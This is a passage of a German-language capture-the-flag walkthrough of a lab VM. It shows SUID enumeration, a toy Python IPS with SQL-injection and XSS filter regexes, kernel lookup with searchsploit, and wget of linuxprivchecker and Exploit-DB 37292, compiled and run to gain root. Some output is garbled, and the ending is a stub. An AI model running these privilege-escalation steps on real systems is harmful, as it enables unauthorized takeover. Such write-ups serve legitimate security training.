drwxr-xr-x 2 root root 4096 Jul 2 2016 srv
dr-xr-xr-x 13 root root 0 Jun 14 14:26 sys
drwxrwxrwt 2 root root 4096 Jun 14 14:39 tmp
drwxr-xr-x 10 root root 4096 Jul 2 2016 usr
drwxr-xr-x 13 root root 4096 Jul 11 2016 var
lrwxrwxrwx 1 root root 30 Jul 2 2016 vmlinuz -> boot/vmlinuz-3.13.0-32-generic
Wir navigieren zum Root-Verzeichnis und listen den Inhalt auf. Hier sehen wir die Datei "flag", die jedoch nur für Root lesbar ist.
www-data@cypm:/$ ls /home/
andrea user
www-data@cypm:/$ find / -type f -perm -4000 -ls 2>/dev/null
286008 268 -rwsr-xr-- 1 root dip 273272 Feb 4 2011 /usr/sbin/pppd
286177 20 -rwsr-sr-x 1 libuuid libuuid 17976 Jun 18 2014 /usr/sbin/uuidd
283955 312 -rwsr-xr-- 1 root messagebus 316824 Jul 3 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
267997 8 -rwsr-xr-x 1 root root 5564 Dec 13 2011 /usr/lib/eject/dmcrypt-get-device
285894 244 -rwsr-xr-x 1 root root 248056 Apr 30 2014 /usr/lib/openssh/ssh-keysign
285471 16 -rwsr-xr-x 1 root root 14012 Nov 8 2011 /usr/bin/traceroute6.iputils
266004 32 -rwsr-xr-x 1 root root 31748 Sep 13 2012 /usr/bin/chsh
285039 44 -rwsr-sr-x 1 daemon daemon 42800 Oct 25 2011 /usr/bin/at
270082 72 -rwsr-xr-x 2 root root 69708 Mar 11 2014 /usr/bin/sudo
270082 72 -rwsr-xr-x 2 root root 69708 Mar 11 2014 /usr/bin/sudoedit
263386 32 -rwsr-xr-x 1 root root 30896 Sep 13 2012 /usr/bin/newgrp
266003 44 -rwsr-xr-x 1 root root 41284 Sep 13 2012 /usr/bin/passwd
266006 60 -rwsr-xr-x 1 root root 57956 Sep 13 2012 /usr/bin/gpasswd
266001 40 -rwsr-xr-x 1 root root 40292 Sep 13 2012 /usr/bin/chfn
285874 56 -rwsr-xr-x 1 root root 56208 Jul 28 2011 /usr/bin/mtr
131719 40 -rwsr-xr-x 1 root root 39116 Nov 8 2011 /bin/ping6
131447 88 -rwsr-xr-x 1 root root 88760 Jun 18 2014 /bin/mount
131718 36 -rwsr-xr-x 1 root root 34740 Nov 8 2011 /bin/ping
131446 68 -rwsr-xr-x 1 root root 67720 Jun 18 2014 /bin/umount
142735 28 -rwsr-xr-x 1 root root 26252 Mar 2 2012 /bin/fusermount
131714 32 -rwsr-xr-x 1 root root 31116 Sep 13 2012 /bin/su
146065 8 -rwsrwxr-x 1 root andrea 7452 Jul 11 2016 /home/andrea/dog
Wir suchen nach SUID-Dateien, die von Root ausgeführt werden können, um möglicherweise unsere Privilegien zu erhöhen. Die Datei `/home/andrea/dog` ist interessant, da sie dem Benutzer "andrea" gehört und SUID-Rechte besitzt.
www-data@cypm:/$ ls -la /home/andrea/dog
-rwsrwxr-x 1 root andrea 7452 Jul 11 2016 /home/andrea/dog
www-data@cypm:/$ file /home/andrea/dog
/home/andrea/dog: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x47653bf0ec60daa0019d013a7cc6e0a3e8267d25, not stripped
www-data@cypm:/$ strings /home/andrea/dog
/lib/ld-linux.so.2
|%}&
__gmon_start__
libc.so.6
_IO_stdin_used
exit
fopen
puts
putchar
fgetc
fclose
__libc_start_main
__xstat
GLIBC_2.0
GLIBC_2.1
PTRh`
QVho
D$45
UWVS
[^_]
Access Granted.
Access Denied.
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
Wir analysieren die Datei `/home/andrea/dog`, um ihre Funktion zu verstehen. Die Strings-Ausgabe deutet auf eine einfache Berechtigungsprüfung hin.
www-data@cypm:/var/backups$ cd /var/www/
www-data@cypm:/var/www$ ls -la
total 36
drwxrwxrwx 3 www-data www-data 4096 Jun 14 14:32 .
drwxr-xr-x 13 root root 4096 Jul 11 2016 ..
-rw-rw-r-- 1 user user 565 Jul 2 2016 checkpromo.php
-rw-rw-r-- 1 user user 114 Jul 2 2016 config.php
-rw-rw-r-- 1 user user 82 Jul 2 2016 image.php
drwxrwxr-x 2 user user 4096 Jul 2 2016 img
-rw-rw-r-- 1 user user 1446 Jul 25 2016 index.php
-rw-rw-r-- 1 andrea andrea 5495 Jun 14 14:31 revshell.php
www-data@cypm:/var/www$ cd /home/user/
www-data@cypm:/home/user$ ls -la
total 32
drwxr-xr-x 5 user user 4096 Jul 2 2016 .
drwxr-xr-x 4 root root 4096 Jul 2 2016 ..
lrwxrwxrwx 1 root root 9 Jul 2 2016 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 Jul 2 2016 .bash_logout
-rw-r--r-- 1 user user 3486 Jul 2 2016 .bashrc
drwx------ 2 user user 4096 Jul 2 2016 .cache
drwxrwxr-x 2 user user 4096 Jul 2 2016 .pip
-rw-r--r-- 1 user user 675 Jul 2 2016 .profile
drwxrwxr-x 2 user user 4096 Jul 2 2016 Rashomon
www-data@cypm:/home/user$ cd Rashomon/
Wir navigieren zu den Home-Verzeichnissen der Benutzer und finden ein Verzeichnis namens "Rashomon".
www-data@cypm:/home/user/Rashomon$ ls -la
total 16
drwxrwxr-x 2 user user 4096 Jul 2 2016 .
drwxr-xr-x 5 user user 4096 Jul 2 2016 ..
-rwxrwxr-x 1 user user 5359 Jul 2 2016 main.py
Dort finden wir ein Python-Skript namens "main.py".
www-data@cypm:/home/user/Rashomon$ cat main.py
#!/usr/bin/python
import socket, sys, http_parser, re
from thread import *

# SQL Injection filters
sqli_meta = re.compile(ur'(\%27)|(\')|(\-\-)|(\%23)|(\#)', re.IGNORECASE | re.VERBOSE | re.MULTILINE)
sqli_words = re.compile(ur'\b(ALTER|CREATE|DELETE|DROP|EXEC(UTE){0,1}|INSERT(\s+INTO){0,1}|MERGE|SELECT|UPDATE|UNION(\s+ALL){0,1})\b', re.IGNORECASE | re.VERBOSE | re.MULTILINE)

# XSS filters
xss_noscript = re.compile(ur'<[^\w<>]*(?:[^<>"\'\s]*:)?[^\w<>]*(?:\W*s\W*c\W*r\W*i\W*p\W*t|\W*f\W*o\W*r\W*m|\W*s\W*t\W*y\W*l\W*e|\W*s\W*v\W*g|\W*m\W*a\W*r\W*q\W*u\W*e\W*e|(?:\W*l\W*i\W*n\W*k|\W*o\W*b\W*j\W*e\W*c\W*t|\W*e\W*m\W*b\W*e\W*d|\W*a\W*p\W*p\W*l\W*e\W*t|\W*p\W*a\W*r\W*a\W*m|\W*i?\W*f\W*r\W*a\W*m\W*e|\W*b\W*a\sW*e|\W*b\W*o\W*d\W*y|\W*m\W*e\W*t\W*a|\W*i\W*m\W*a?\W*g\W*e?|\W*v\W*i\W*d\W*e\W*o|\W*a\W*u\W*d\W*i\W*o|\W*b\W*i\W*n\W*d\W*i\W*n\W*g\W*s|\W*s W*e\W*t|\W*i\W*s\W*i\W*n\W*d\W*e\W*x|\W*a\W*n\W*i\W*m\W*a\W*t\W*e)[^>\w])|(?:<\w[\s\S]*[\s\0\/]|[\'"])(?:formaction|style|background|src|lowsrc|ping|on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)?|op)|i(?:s(?:c(?:hargingtimechange|onnect(?:ing|ed))|abled)|aling)|ata(?:setc(?:omplete|hanged)|(?:availabl|chang)e|error)|urationchange|ownloading|blclick)|Moz(?:M(?:agnifyGesture(?:Update|Start)?|ouse(?:PixelScroll|Hittest))|S(?:wipeGesture(?:Update|Start|End)?|crolledAreaChanged)|(?:(?:Press)?TapGestur|BeforeResiz)e|EdgeUI(?:C(?:omplet|ancel)|Start)ed|RotateGesture(?:Update|Start)?|A(?:AudioAvailable|fterPaint))|c(?:o(?:m(?:p(?:osition(?:update|start|end)|lete)|mand(?:update)?)|n(?:t(?:rolselect|extmenu)|nect(?:ing|ed))|py)|a(?:(?:llschang|ch)ed|nplay(?:through)?|rdstatechange)|h(?:(?:arging(?:time)?ch)?ange|ecking)|(?:fstate|ell)change|u(?:echange|t)|l(?:ick|ose))|m(?:o(?:z(?:pointerlock(?:change|error)|(?:orientation|time)change|fullscreen(?:change|error)|network(?:down|up)load)|use(?:(?:lea|mo)ve|o(?:ver|ut)|enter|wheel|down|up)|ve(?:start|end)?)|essage|ark)|s(?:t(?:a(?:t(?:uschanged|echange)|lled|rt)|k(?:sessione|comma)nd|op)|e(?:ek(?:complete|ing|ed)|(?:lec(?:tstar)?)?t|n(?:ding|t))|u(?:ccess|spend|bmit)|peech(?:start|end)|ound(?:start|end)|croll|how)|b(?:e(?:for(?:e(?:(?:scriptexecu|activa)te|u(?:nload|pdate)|p(?:aste|rint)|c(?:opy|ut)|editfocus)|deactivate)|gin(?:Event)?)|oun(?:dary|ce)|l(?:ocked|ur)|roadcast|usy)|a(?:n(?:imation(?:iteration|start|end)|tennastatechange)|fter(?:(?:scriptexecu|upda)te|print)|udio(?:process|start|end)|d(?:apteradded|dtrack)|ctivate|lerting|bort)|DOM(?:Node(?:Inserted(?:IntoDocument)?|Removed(?:FromDocument)?)|(?:CharacterData|Subtree)Modified|A(?:ttrModified|ctivate)|Focus(?:Out|In)|MouseScroll)|r(?:e(?:s(?:u(?:m(?:ing|e)|lt)|ize|et)|adystatechange|pea(?:tEven)?t|movetrack|trieving|ceived)|ow(?:s(?:inserted|delete)|e(?:nter|xit))|atechange)|p(?:op(?:up(?:hid(?:den|ing)|show(?:ing|n))|state)|a(?:ge(?:hide|show)|(?:st|us)e|int)|ro(?:pertychange|gress)|lay(?:ing)?)|t(?:ouch(?:(?:lea|mo)ve|en(?:ter|d)|cancel|start)|ime(?:update|out)|ransitionend|ext)|u(?:s(?:erproximity|sdreceived)|p(?:gradeneeded|dateready)|n(?:derflow|load))|f(?:o(?:rm(?:change|input)|cus(?:out|in)?)|i(?:lterchange|nish)|ailed)|l(?:o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|evelchange|y)|g(?:amepad(?:(?:dis)?connected|button(?:down|up)|axismove)|et)|e(?:n(?:d(?:Event|ed)?|abled|ter)|rror(?:update)?|mptied|xit)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|valid|put))|o(?:(?:(?:off|n)lin|bsolet)e|verflow(?:changed)?|pen)|SVG(?:(?:Unl|L)oad|Resize|Scroll|Abort|Error|Zoom)|h(?:e(?:adphoneschange|l[dp])|ashchange|olding)|v(?:o(?:lum|ic)e|ersion)change|w(?:a(?:it|rn)ing|heel)|key(?:press|down|up)|(?:AppComman|Loa)d|no(?:update|match)|Request|zoom))[\s\0]*=', re.MULTILINE | re.IGNORECASE)

# All filters
filters = [sqli_meta, sqli_words, xss_noscript]

def listen_sock():
HOST="0.0.0.0"
PORT=80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print "[+] Socket created"

try:
s.bind((HOST, PORT))
except socket.error as msg:
print "[!] Error [%d]: %s" % (msg[0], msg[1])
sys.exit()

print "[+] Socket binded"

s.listen(5)
print "[+] Listening.."

while 1:
conn, addr = s.accept()
print "[*] Incoming connection %s:%d" % (addr[0], addr[1])
start_new_thread(handle_client, (conn,))

s.close()

def handle_client(conn):
while True:
data = conn.recv(1024)
apply_filters(conn, data, filters)
if not data:
break

conn.close()

""" parsing functions will be here """

def forward_req(conn, req):
HOST = "127.0.0.1"
PORT = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))

s.send(req)
data = s.recv(4096)
s.close()

conn.send(data)

def block_req(conn):
conn.send("""HTTP/1.1 200 OK
Date: Sat, 02 Jul 2016 07:26:13 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: RashomonIDS/v0.1
Content-Length: 40
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Malicious request blocked!
~Rashomon IPS""")
conn.close()
exit()

def apply_filters(conn, req, filters):
for filter in filters:
m = re.search(filter, req)
if m:
print "[!] Injection attempt, blocking.."
block_req(conn)
return

forward_req(conn, req)

print "Hello, world"
listen_sock()
Wir analysieren den Quellcode des Python-Skripts "main.py", das Teil des "Rashomon IPS" ist. Das Skript scheint ein einfaches Intrusion Prevention System zu sein, das SQL-Injection- und XSS-Angriffe filtert.
www-data@cypm:/home/user/Rashomon$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1142 Jul 11 2016 /etc/passwd
Wir überprüfen die Berechtigungen der Datei `/etc/passwd`. Sie ist für alle Benutzer lesbar.
www-data@cypm:/home/user/Rashomon$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 127.0.0.1:3306 * LISTEN 0 128 *:8080 *
LISTEN 0 5 *:80 *
LISTEN 0 128 :::22 :::*
LISTEN 0 128 *:22 *:*
Wir überprüfen die laufenden Dienste auf dem System. Interessant ist, dass Port 8080 offen ist, was auf einen Webproxy hindeuten könnte.
www-data@cypm:/home/user/Rashomon$ uname -a
Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
Wir überprüfen die Kernel-Version. Dies ist wichtig, um nach Exploits zu suchen, die auf diesem System funktionieren könnten.
┌──(root㉿cyber)-[~]
└─# searchsploit 3.13.0
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37293.txt
Unified Remote 3.13.0 - Remote Code Execution (RCE) | windows/remote/51309.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
Wir suchen mit `searchsploit` nach Exploits für die Kernel-Version 3.13.0. Wir finden zwei lokale Exploits, die möglicherweise funktionieren könnten.
Privilege Escalation
www-data@cypm:/tmp$ wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py -O linuxprivchecker.py --no-check-certificate
--2023-06-14 14:53:42-- https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8001::154|:443... connected.
WARNING: no certificate subject alternative name matches
requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 37196 (36K) [text/plain]
Saving to: `linuxprivchecker.py'

100%[======================================>] 37,196 --.-K/s in 0.005s

2023-06-14 14:53:42 (7.25 MB/s) - `linuxprivchecker.py' saved [37196/37196]
Wir laden das Skript `linuxprivchecker.py` herunter, um das System auf mögliche Schwachstellen zu überprüfen, die zur Privilegienerweiterung ausgenutzt werden könnten.
www-data@cypm:/tmp$ chmod +x linuxprivchecker.py
www-data@cypm:/tmp$ ./linuxprivchecker.py
rivchecker/master/linuxprivchecker.py -O linuxprivchecker.py^Cventyeleven/linuxpratechecker/master/linuxprivchecker.py -O linuxprivchecker.py --no-check-certific
--2023-06-14 14:53:42-- https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8001::154|:443... connected.
WARNING: no certificate subject alternative name matches
requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 37196 (36K) [text/plain]
Saving to: `linuxprivchecker.py'

100%[======================================>] 37,196 --.-K/s in 0.005s

www-data@cypm:/tmp$ ./linuxprivchecker.py
=======================================================================================

__ _ ____ _ ________ __
/ / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____
/ / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/
/ /___/ / / / / /_/ /> /_____/_/_/ /_/\__,_/_/|_/_/ /_/ /_/ |___/\____/_/ /_/\___/\___/_/|_|\___/_/


=======================================================================================

[*] ENUMERATING USER AND ENVIRONMENTAL INFO...

[+] List out any screens running for the current user
No Sockets found in /var/run/screen/S-www-data.
[+] Logged in User Activity
system boot Jun 14 14:26
run-level 2 Jun 14 14:26
LOGIN tty4 Jun 14 14:26 882 id=4
LOGIN tty5 Jun 14 14:26 889 id=5
LOGIN tty2 Jun 14 14:26 893 id=2
LOGIN tty3 Jun 14 14:26 894 id=3
LOGIN tty6 Jun 14 14:26 897 id=6
LOGIN tty1 Jun 14 14:26 1104 id=1
andrea + pts/0 Jun 14 14:27 00:22 1208 (cyber)
[+] Super Users Found:
root
[+] Environment
SHLVL=1
OLDPWD=/home/user/Rashomon
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2.pid
_=./linuxprivchecker.py
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/tmp
[+] Sudoers (privileged)
[+] All users
www-data@cypm:/tmp$ wget https://www.exploit-db.com/exploits/37292 -O exploit.c
Wir laden den Exploit `37292.c` von Exploit-DB herunter.
www-data@cypm:/tmp$ ls
linuxprivchecker.py
www-data@cypm:/tmp$ nano exploit.c
www-data@cypm:/tmp$ ls -la
total 68
drwxrwxrwt 2 root root 4096 Jun 14 15:02 .
drwxr-xr-x 22 root root 4096 Jul 24 2016 ..
-rwxrwxrwx 1 www-data www-data 12018 Jun 14 15:02 exploit
-rw-rw-rw- 1 www-data www-data 4982 Jun 14 15:01 exploit.c
-rwxrwxrwx 1 www-data www-data 37196 Jun 14 14:53 linuxprivchecker.py
Wir kompilieren den Exploit.
www-data@cypm:/tmp$ chmod +x exploit
www-data@cypm:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#
Wir haben den Exploit erfolgreich ausgeführt und Root-Rechte erhalten! Fantastisch, der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht.
gibt keine Flag
Privilege Escalation erfolgreich

Flags

cat user.txt userflag
cat root.txt rootflag